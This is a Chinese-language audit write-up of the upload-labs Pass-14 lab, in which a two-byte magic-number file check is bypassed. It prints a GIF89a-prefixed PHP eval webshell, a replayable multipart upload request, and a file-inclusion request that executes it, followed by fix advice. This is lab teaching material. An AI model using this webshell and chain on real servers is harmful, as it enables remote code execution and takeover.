upload-labs_Pass-14_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-14
漏洞类型 文件头魔数校验绕过 + 文件包含执行
审计日期 2026-08-09
目标文件 Pass-14/index.php

二、漏洞概述

Pass-14 通过读取文件前两个字节的魔数(Magic Bytes)来判断文件类型,仅允许 jpgFF D8)、png89 50)、gif47 49)三种类型。然而,攻击者只需在 PHP WebShell 前添加对应图片格式的文件头魔数,即可通过校验。上传后的文件虽然扩展名为图片,但结合靶场提供的文件包含漏洞页面 include.php,可以执行其中嵌入的 PHP 代码。

  • 危险等级:中高危
  • 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码

三、问题代码位置

文件路径Pass-14/index.php

问题代码片段(第 6-27 行)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

保存逻辑(第 31-45 行)

if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

四、漏洞分析

4.1 为什么存在这个问题

仅检查文件前两个字节的魔数不足以保证文件真实性和安全性。文件头魔数可以被轻易伪造,攻击者只需在 PHP 代码前添加 GIF89a(GIF 文件头)或其他图片魔数即可绕过校验。更关键的是,服务端将上传文件保存为图片扩展名,但未禁止其被文件包含漏洞页面加载执行。

4.2 校验逻辑缺陷

  • 仅读取前 2 字节,未对整个文件结构进行解析。
  • 未对文件内容进行深度检测(如使用 getimagesize() 或二次渲染)。
  • 上传目录中的图片文件可被 include.php 包含执行,形成组合漏洞。

五、利用思路

  1. 构造图片马:在 PHP WebShell 前添加 GIF89a 文件头。
  2. 上传该文件,服务端读取前两个字节 47 49 判断为 GIF,校验通过。
  3. 文件被保存为 .gif 扩展名。
  4. 访问文件包含漏洞页面:include.php?file=upload/xx20260809xxxx.gif,服务端包含该图片文件,执行其中嵌入的 PHP 代码。

六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-14/index.php
  • 文件包含漏洞页面:http://target.com/upload-labs/include.php
  • 图片马内容示例(GIF 文件头 + PHP 代码):
GIF89a
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-14/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif

GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 发送请求,上传成功后返回页面显示保存的图片路径,例如 upload/1220260809123456.gif
  4. 使用文件包含漏洞页面执行图片马:
GET /upload-labs/include.php?file=upload/1220260809123456.gif HTTP/1.1
Host: target.com
  1. 使用 POST 请求向包含页面发送 cmd=phpinfo(); 等命令即可执行。

七、修复建议

  1. 深度文件内容检测:使用 getimagesize()exif_imagetype() 或二次渲染验证文件真实性。
  2. 图片二次渲染:重新生成图片以去除嵌入的恶意代码。
  3. 禁止上传目录被包含执行:将上传目录与 Web 应用代码隔离,禁止动态包含上传目录文件。
  4. 修复文件包含漏洞:对 include.php 中的 $file 参数进行白名单校验,禁止包含用户上传文件。
  5. 重命名上传文件:使用随机文件名。

安全代码示例

$tmp = $_FILES['upload_file']['tmp_name'];
if (!getimagesize($tmp)) {
    die('文件不是有效图片');
}

// 二次渲染,清除嵌入代码
$info = getimagesize($tmp);
switch ($info[2]) {
    case IMAGETYPE_GIF:
        $img = imagecreatefromgif($tmp);
        imagegif($img, UPLOAD_PATH . '/' . $new_name);
        break;
    case IMAGETYPE_JPEG:
        $img = imagecreatefromjpeg($tmp);
        imagejpeg($img, UPLOAD_PATH . '/' . $new_name);
        break;
    case IMAGETYPE_PNG:
        $img = imagecreatefrompng($tmp);
        imagepng($img, UPLOAD_PATH . '/' . $new_name);
        break;
    default:
        die('不支持的图片类型');
}
imagedestroy($img);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部